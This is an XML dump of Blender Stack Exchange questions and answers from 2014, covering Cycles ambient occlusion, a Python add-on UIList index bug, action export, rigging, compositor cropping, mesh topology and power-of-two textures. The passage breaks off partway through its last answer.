  <row Id="14198" PostTypeId="1" AcceptedAnswerId="14199" CreationDate="2014-07-19T14:42:35.837" Score="11" ViewCount="20096" Body="&lt;p&gt;I can only connect the node immediately to the surface otherwise i don't get any AO effect. I cant use for example as the vray dirt map. So what the purpose of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U23cF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="5273" LastEditorUserId="241" LastEditDate="2020-05-27T13:30:20.107" LastActivityDate="2020-05-27T13:30:20.107" Title="Whats the purpose of Ambient Occlusion node in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;ambient-occlusion&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14199" PostTypeId="2" ParentId="14198" CreationDate="2014-07-19T15:18:15.497" Score="9" Body="&lt;p&gt;The purpose is that you can control how much AO each object has.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ambient occlusion node gives per-material control for the amount of AO. When AO is enabled in the world, it affects all diffuse BSDFs in the scene. With this option it's possible to let only some materials be affected by AO, or to let it influence some materials more or less than others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Quote from &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;noreferrer&quot;&gt;the Blender Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-19T15:18:15.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14201" PostTypeId="2" ParentId="14163" CreationDate="2014-07-19T16:45:20.950" Score="1" Body="&lt;p&gt;You may want to look into blender's concept of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow&quot;&gt;NLAs&lt;/a&gt;.  Actions are data blocks just like meshes and materials. You can create a new scene with an instance of the armature and mesh.  You can then animate the pose to move the mouth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Action Editor mode of the Dope Sheet to figure out the name of the action (and rename it if you like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your scene you can find your instance of the armature and use the NLA editor to add a track.  Then add a strip to that track and use the mouth animation you created in the other scene.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-07-19T16:45:20.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14202" PostTypeId="1" AcceptedAnswerId="14203" CreationDate="2014-07-19T18:15:52.893" Score="4" ViewCount="1689" Body="&lt;p&gt;I am writing an addon that displays the mesh modifiers in a listbox, with the settings below the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is with the active index for the listbox - I'm using a custom property because there is no internal 'active' property for modifiers. The problem I have is that when the last modifier is removed, the index reaches true zero (index size zero), and I get a panel crash plus a console message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IndexError: bpy_prop_collection[index]:index 0 out of range, size 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I then re-add a modifier, the problem resolves and the panel(listbox) reappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I structure this so the listbox doesn't crash when the index reaches size 0?&#xA;Here's the backbone of the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.types.Object.modifier_active_index = bpy.props.IntProperty()&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;&#xA;    global num &#xA;    global atype&#xA;    global aname&#xA;    global amod&#xA;&#xA;    num = bpy.context.object.modifier_active_index&#xA;&#xA;    ob = context.object&#xA;    obname = context.object.name&#xA;    amod = bpy.data.objects[obname].modifiers[num]&#xA;    amods = bpy.data.objects[obname].modifiers&#xA;    atype = bpy.data.objects[obname].modifiers[num].type&#xA;    aname = bpy.data.objects[obname].modifiers[num].name&#xA;&#xA;    rows = 2&#xA;&#xA;    row = layout.row()&#xA;&#xA;    row.template_list(&quot;UI_UL_list&quot;, &quot;&quot;, ob, &quot;modifiers&quot;, ob, &quot;modifier_active_index&quot;, rows=rows)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OBJECT_OT_modifier_move(bpy.types.Operator): #move active modifier down in stack&#xA;bl_idname = &quot;object.modifier_action&quot;&#xA;bl_label = &quot;Modifier Action&quot;&#xA;&#xA;action = bpy.props.EnumProperty(&#xA;    items=(&#xA;        ('UP', &quot;Up&quot;, &quot;&quot;),&#xA;        ('DOWN', &quot;Down&quot;, &quot;&quot;),&#xA;        ('REMOVE', &quot;Remove&quot;, &quot;&quot;),&#xA;        ('ADD', &quot;Add&quot;,&quot;&quot;)&#xA;    )&#xA;)&#xA;&#xA;def invoke(self, context, event):&#xA;&#xA;    ob = context.object&#xA;    idx = ob.modifier_active_index&#xA;&#xA;    if self.action == 'ADD':&#xA;          if bpy.ops.object.modifier_add(type = '') == {'FINISHED'}: #how do I call the menu with modifier.type enums&#xA;              ob.modifier_active_index = len(ob.modifiers) - 1&#xA;    try:&#xA;        mod = ob.modifiers[idx]&#xA;    except IndexError:&#xA;        pass&#xA;    else:&#xA;        if self.action == 'DOWN' and idx &amp;lt; len(ob.modifiers) - 1:&#xA;            if bpy.ops.object.modifier_move_down(modifier=mod.name) == {'FINISHED'}:&#xA;                ob.modifier_active_index += 1&#xA;        elif self.action == 'UP' and idx &amp;gt;= 1:&#xA;            if bpy.ops.object.modifier_move_up(modifier=mod.name) == {'FINISHED'}:&#xA;                ob.modifier_active_index -= 1                &#xA;        elif self.action == 'REMOVE':&#xA;            bpy.ops.object.modifier_remove(modifier=mod.name)&#xA;            if idx &amp;gt;= 1:&#xA;                ob.modifier_active_index -= 1&#xA;&#xA;&#xA;    return {&quot;FINISHED&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2928" LastEditorUserId="2928" LastEditDate="2014-07-21T13:19:04.430" LastActivityDate="2014-07-21T13:19:04.430" Title="index out of range for UIList causes panel crash" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14203" PostTypeId="2" ParentId="14202" CreationDate="2014-07-19T20:11:07.743" Score="4" Body="&lt;p&gt;You simply need to handle the case of an invalid index or an empty list of modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could for example test &lt;code&gt;if len(ob.modifiers): ...&lt;/code&gt; if there are any, but I would rather catch all bad indices using &lt;code&gt;try ... except IndexError&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class OBJECT_PT_modifiers(bpy.types.Panel):&#xA;    bl_idname = &quot;OBJECT_PT_modifiers&quot;&#xA;    bl_label = &quot;Modifiers&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        rows = 2&#xA;        ob = context.object&#xA;        idx = ob.modifier_active_index&#xA;&#xA;        try:&#xA;            mod = ob.modifiers[idx]&#xA;            layout.label(&quot;%s (%s)&quot; % (mod.name, mod.type), icon=&quot;MODIFIER&quot;)&#xA;        except IndexError:&#xA;            layout.label(&quot;no modifier selected&quot;)&#xA;&#xA;        row = layout.row()&#xA;        row.template_list(&quot;UI_UL_list&quot;, &quot;modifiers&quot;, ob, &quot;modifiers&quot;, ob, &quot;modifier_active_index&quot;, rows=rows)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Object.modifier_active_index = bpy.props.IntProperty()&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Object.modifier_active_index&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that an index of &lt;code&gt;-1&lt;/code&gt; is not considered bad, because it refers to the last item in a list in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't use &lt;code&gt;global&lt;/code&gt; anywhere, it is certainly not needed. &lt;code&gt;modifier_active_index&lt;/code&gt; is globally available for all objects, and you don't need globals inside the draw function to refer to the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that if you use &lt;code&gt;UI_UL_list&lt;/code&gt;, the second argument should be some unique string to prevent collisions with other &lt;code&gt;UI_UL_list&lt;/code&gt; that may exist in the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; How to handle (re-)move actions while always showing the panel (even with no modifier)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mod_icon_map = {m.identifier: m.icon for m in bpy.types.OBJECT_OT_modifier_add.bl_rna.properties['type'].enum_items}&#xA;&#xA;&#xA;class OBJECT_OT_modifier_move(bpy.types.Operator): #move active modifier down in stack&#xA;    bl_idname = &quot;object.modifier_action&quot;&#xA;    bl_label = &quot;Modifier Action&quot;&#xA;&#xA;    action = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('UP', &quot;Up&quot;, &quot;&quot;),&#xA;            ('DOWN', &quot;Down&quot;, &quot;&quot;),&#xA;            ('REMOVE', &quot;Remove&quot;, &quot;&quot;),&#xA;        )&#xA;    )&#xA;&#xA;    def invoke(self, context, event):&#xA;&#xA;        ob = context.object&#xA;        idx = ob.modifier_active_index&#xA;        try:&#xA;            mod = ob.modifiers[idx]&#xA;        except IndexError:&#xA;            pass&#xA;        else:&#xA;            if self.action == 'DOWN' and idx &amp;lt; len(ob.modifiers) - 1:&#xA;                if bpy.ops.object.modifier_move_down(modifier=mod.name) == {'FINISHED'}:&#xA;                    ob.modifier_active_index += 1&#xA;            elif self.action == 'UP' and idx &amp;gt;= 1:&#xA;                if bpy.ops.object.modifier_move_up(modifier=mod.name) == {'FINISHED'}:&#xA;                    ob.modifier_active_index -= 1                &#xA;            elif self.action == 'REMOVE':&#xA;                bpy.ops.object.modifier_remove(modifier=mod.name)&#xA;                if idx &amp;gt;= 1:&#xA;                    ob.modifier_active_index -= 1&#xA;&#xA;&#xA;        return {&quot;FINISHED&quot;}&#xA;&#xA;&#xA;class MODIFIER_UL_listtype(bpy.types.UIList): #custom UIList type for modifiers&#xA;&#xA;    def draw_item(self, context, layout, data, item, active_data, active_propname, index):&#xA;&#xA;        modifier = item&#xA;&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;&#xA;            layout.prop(modifier, &quot;name&quot;, text=&quot;&quot;, emboss=False, icon=mod_icon_map[modifier.type])&#xA;&#xA;            icon = 'RESTRICT_RENDER_OFF' if item.show_render else 'RESTRICT_RENDER_ON'&#xA;            layout.prop(item, &quot;show_render&quot;, text=&quot;&quot;, icon=icon, emboss=False)&#xA;&#xA;            icon = 'RESTRICT_VIEW_OFF' if item.show_viewport else 'RESTRICT_VIEW_ON'&#xA;            layout.prop(item, &quot;show_viewport&quot;, text=&quot;&quot;, icon=icon, emboss=False)&#xA;&#xA;            icon = 'EDITMODE_HLT' if item.show_in_editmode else 'OBJECT_DATAMODE'&#xA;            layout.prop(item, &quot;show_in_editmode&quot;, text=&quot;&quot;, icon=icon, emboss=False)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(&quot;&quot;, icon=mod_icon_map[modifier.type])&#xA;&#xA;&#xA;class OBJECT_PT_Modifiers(bpy.types.Panel): #panel draw class&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Modifiers&quot;&#xA;    bl_idname = &quot;OBJECT_PT_Modifiers&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        ob = bpy.context.object&#xA;        rows = 2&#xA;&#xA;        row = layout.row()&#xA;        row.template_list(&quot;MODIFIER_UL_listtype&quot;, &quot;&quot;, ob, &quot;modifiers&quot;, ob, &quot;modifier_active_index&quot;, rows=rows)&#xA;        col = row.column(align=True)&#xA;        col.operator(&quot;object.modifier_add&quot;, icon='ZOOMIN', text=&quot;&quot;)&#xA;        col.operator(&quot;object.modifier_action&quot;, icon='ZOOMOUT', text=&quot;&quot;).action = 'REMOVE'&#xA;        col.separator()&#xA;        col.operator(&quot;object.modifier_action&quot;, icon='TRIA_UP', text=&quot;&quot;).action = 'UP'&#xA;        col.operator(&quot;object.modifier_action&quot;, icon='TRIA_DOWN', text=&quot;&quot;).action = 'DOWN'&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Object.modifier_active_index = bpy.props.IntProperty()&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Object.modifier_active_index&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remarks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creating a lookup dict is way better for icons&lt;/li&gt;&#xA;&lt;li&gt;Move up, move down and remove actions can be handled in a single operator&lt;/li&gt;&#xA;&lt;li&gt;Don't do &lt;code&gt;ob.modifiers[ob.modifier_active_index]&lt;/code&gt; anywhere without range change or try/except construct&lt;/li&gt;&#xA;&lt;li&gt;Check the result of &lt;code&gt;modifier_move_up()&lt;/code&gt; and &lt;code&gt;modifier_move_down()&lt;/code&gt;, as it may fail (MultiRes can't be below a non-deforming modifier)&lt;/li&gt;&#xA;&lt;li&gt;All classes can be (un-)registered at once with &lt;code&gt;(un-)register_module()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use consistent indentation (4 spaces for every level)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-07-20T21:07:11.130" LastActivityDate="2014-07-20T21:07:11.130" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14204" PostTypeId="1" AcceptedAnswerId="14206" CreationDate="2014-07-19T20:18:39.150" Score="4" ViewCount="1973" Body="&lt;p&gt;I have a scene with multiple objects, each potentially using multiple actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export the keyframes for each action with my own Python script, but only for the object that uses that action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that each action has a user count, but I can't figure out how it keeps track of which objects use it. I know how to export the keyframes, but I can't find a way to associate actions with only certain objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? If not, how do other people deal with this problem?&lt;/p&gt;&#xA;" OwnerUserId="5276" LastEditorUserId="5276" LastEditDate="2016-12-20T01:19:30.683" LastActivityDate="2016-12-20T01:19:30.683" Title="How to tell which object uses which animation/action" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;export&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14205" PostTypeId="2" ParentId="12338" CreationDate="2014-07-19T21:05:45.100" Score="1" Body="&lt;p&gt;I'm currently making a game myself, and what i do is connect the &lt;em&gt;W A S D keyboard sensors&lt;/em&gt; to individual &lt;em&gt;AND controllers&lt;/em&gt;. These each go to seperate &lt;em&gt;MOTION actuators&lt;/em&gt; directing the speed and direction to walk in (A and D can be set to rotation). Then create an &lt;em&gt;ACTION actuator&lt;/em&gt; with your animation in it and connect it up to the &lt;em&gt;AND controllers&lt;/em&gt; of the &lt;em&gt;W A S D sensors&lt;/em&gt;. You can reverse the animation for &lt;em&gt;S key&lt;/em&gt; by duplicating the &lt;em&gt;ACTION actuator&lt;/em&gt; and reversing the &lt;em&gt;KEYFRAMES&lt;/em&gt;. If &lt;em&gt;A and D&lt;/em&gt; are for rotating, don't add the action.&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2014-07-19T21:05:45.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14206" PostTypeId="2" ParentId="14204" CreationDate="2014-07-19T21:38:10.770" Score="5" Body="&lt;p&gt;Actions are globally stored in &lt;code&gt;bpy.data.actions&lt;/code&gt;, regardless of scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every object can reference one and only one action (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.AnimData.html#bpy.types.AnimData.action&quot; rel=&quot;noreferrer&quot;&gt;Object.animation_data.action&lt;/a&gt;). Thus, you can't know which actions are made for / compatible with which objects without extra work on the user oder coder side.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;User-based solution:&lt;br&gt;Let the user specify which actions are supposed to be exported for which objects, either in a Panel in the export file selector or for every object in the object tab - both are not ideal. The former needs to be re-done every time (unless presets are used), in the latter renaming actions will break it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Programmatic solution:&lt;br&gt;Check all FCurves' &lt;code&gt;data_path&lt;/code&gt;s and see if these properties are available for your object type. This should work reliable to distinguish Armature actions from other more generic ones, as the data paths start with &lt;code&gt;'pose.bones'&lt;/code&gt; for Pose actions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-07-19T21:49:40.123" LastActivityDate="2014-07-19T21:49:40.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14207" PostTypeId="1" CreationDate="2014-07-20T01:31:38.630" Score="1" ViewCount="2328" Body="&lt;p&gt;I have this problem with my leg rigging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I move it up with IK Leg it would bend the opposite direction which would make my character look like a Centaur. Cool but not what I'm aiming for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it do that but I think it could be because of how I created my character. I created him facing the back view. So when I added my Human meta rig, I rotated it 180 so it can face backwards. &#xA;If that's the reason why can someone please tell me how I can fix that with out starting a new Human Meta Rig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what happened when I tried to fix it by placing the knee's target in the front instead of the back.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h9Nb5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it looks when I don't fix it.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0zDzR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5279" LastEditorUserId="2217" LastEditDate="2014-07-20T02:33:44.327" LastActivityDate="2015-02-01T02:31:13.263" Title="Rigify pose Issue Mesh Deforming on knee" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;rigify&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14208" PostTypeId="2" ParentId="14207" CreationDate="2014-07-20T05:27:59.763" Score="0" Body="&lt;p&gt;I believe if you recalculate your avatar's point of origin it should reset the ik bone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into Edit mode.&#xA;Select the Shading/UV tab.&#xA;Choose Recalculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2014-07-20T05:27:59.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14209" PostTypeId="1" CreationDate="2014-07-20T05:55:40.763" Score="3" ViewCount="1561" Body="&lt;p&gt;I wonder if there is any way to crop a image based on alpha data like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XefN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to do this is that I want to crop the White area of another image (of the same dimension to the Alpha image above), then stretch it to fill the whole area, or fit to other expected dimension. And this has to be done in Compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this is a MANUAL way to crop then fit to expected dimension:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPQRU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/30556&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Blend File&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to decide the value in Crop node is not so easy in order to get rid of unwanted part. So I wonder if there is any way (math or something?) that can be smart enough to save that work.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-07-21T03:06:38.483" LastActivityDate="2021-04-08T02:03:20.400" Title="How to crop image based on Alpha in Compositor?" Tags="&lt;workflow&gt;&lt;compositor&gt;&lt;node-editor&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14210" PostTypeId="2" ParentId="14196" CreationDate="2014-07-20T09:17:45.083" Score="4" Body="&lt;p&gt;You have some issues with the topology:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Extra edges on the large inner-top face, creating &lt;a href=&quot;https://blender.stackexchange.com/q/89/599&quot;&gt;n-gons&lt;/a&gt; (also see &lt;a href=&quot;https://blender.stackexchange.com/q/1684/599&quot;&gt;this question&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHP29.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix them, select them and press &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Edges&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extra vertices on the edges, also creating n-gons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1diTT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix them, select them and press &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Dissolve vertices&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Internal edges on each corner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mHcnS.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/zLyCf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix them, select them and press &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Edges&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Double vertices one of the corners:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DnNdG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix them, either merge them manually, or select everything (or just the area you want to check for doubles, but in this case it doesn't really matter) and press &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Remove Doubles&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No face on the top loop, creating &lt;a href=&quot;https://blender.stackexchange.com/q/7910/599&quot;&gt;non-manifold topology&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit hard to see, but if you select it with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; and translate it, it's a bit more obvious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iykto.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select non-manifold geometry with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/30528&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-07-20T09:45:56.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14211" PostTypeId="1" CreationDate="2014-07-20T10:19:52.873" Score="2" ViewCount="480" Body="&lt;p&gt;Cycles can now render smoke and fire simulation but for compositing need, I want the illumination pass from the fire. The aim is to composite this pass with a tracked footage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already try with the diffuse indirect pass but there is the ground plane with it so it's hard without alpha to get a proper image. &lt;/p&gt;&#xA;" OwnerUserId="5284" LastActivityDate="2014-11-24T00:06:13.097" Title="How to get illumination pass from a Smoke Sim with Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14212" PostTypeId="1" CreationDate="2014-07-20T11:30:18.467" Score="11" ViewCount="3882" Body="&lt;p&gt;It's often said that texture dimensions should be square powers of two (512x512, 1024x1024, 2048x2048...), but what is the purpose of this really? I've given this advice myself and do it whenever I can, but never completely understood why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know how it affects Blender specifically (cycles/BI/GE). Does it save a little bit of memory? Or avoid a few calculations for render time? Or is it just a legacy game-engine thing left over from the days of on-board graphics, an old habit that won't die?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, please provide some test results to back up the theory.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2014-07-23T06:27:53.720" LastActivityDate="2014-08-28T12:02:25.183" Title="Why should texture resolutions be powers of 2?" Tags="&lt;texturing&gt;&lt;image&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14213" PostTypeId="2" ParentId="14212" CreationDate="2014-07-20T13:59:21.287" Score="7" Body="&lt;p&gt;It's probably better to ask a question like this on a dedicated programmers Q&amp;amp;A site since people there are more likely to focus on these things.  Anyways, here are a few considerations that I am aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When textures are not powers of 2, you(or the software you use) will usually have to use special extensions made by the hardware/driver manufacturers if you want them to work consistently. &#xA;For instance, &lt;strong&gt;OES_texture_npot&lt;/strong&gt; or &lt;strong&gt;ARB_texture_non_power_of_two&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using special GPU extensions to increase a programs abilities can also reduce compatibility since not every manufacturer is guaranteed to support them all and older machines from the same manufacturer may not support them either.  This means that the software may run fine on your machine but not on the computers of other people.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an excerpt from the PowerVR Performance Recommendations guide.  This is the sort of thing that you will see in various documents from other GPU manufactures as well but the specific details will change slightly between them(ATI, nVdia, PowerVR, Mali, etc..) and even between different generations of cards made by the same company.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Finally, a few additional points should be considered when using NPOT&#xA;  textures: • POT textures should be favoured over NPOT textures for the&#xA;  majority of use cases as this gives the best opportunity for the&#xA;  hardware and driver to work optimally. • A 512x128 texture will&#xA;  qualify as a POT texture, not an NPOT texture; rectangular POT&#xA;  textures are fully supported. • 2D applications (such as a browser or&#xA;  other application rendering UI elements where an NPOT texture is&#xA;  displayed with a one-to-one texel to pixel mapping) should see little&#xA;  performance loss from the use of NPOT textures other than possibly at&#xA;  upload time. • To ensure that texture upload can be optimally&#xA;  performed by the hardware, use textures where both dimensions are&#xA;  multiples of 32 pixels. • The use of NPOT textures may cause a drop in&#xA;  performance during 3D rendering. This can vary depending upon MIP-map&#xA;  levels, size of the texture, the texture’s usage and the target&#xA;  platform.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, if you stick with powers of 2 then you are guaranteed multi-platform support and good performance, otherwise you may have problems when you try and work with a different machine other than the one you started on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//------------------------------------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose as a metaphor, we could look at this as if textures and model data are like shipping containers used to transport goods on boats, trains and highways.&#xA;If all the containers are the same, then everyone involved knows what to expect, and what to do when they encounter a container that must be shipped.  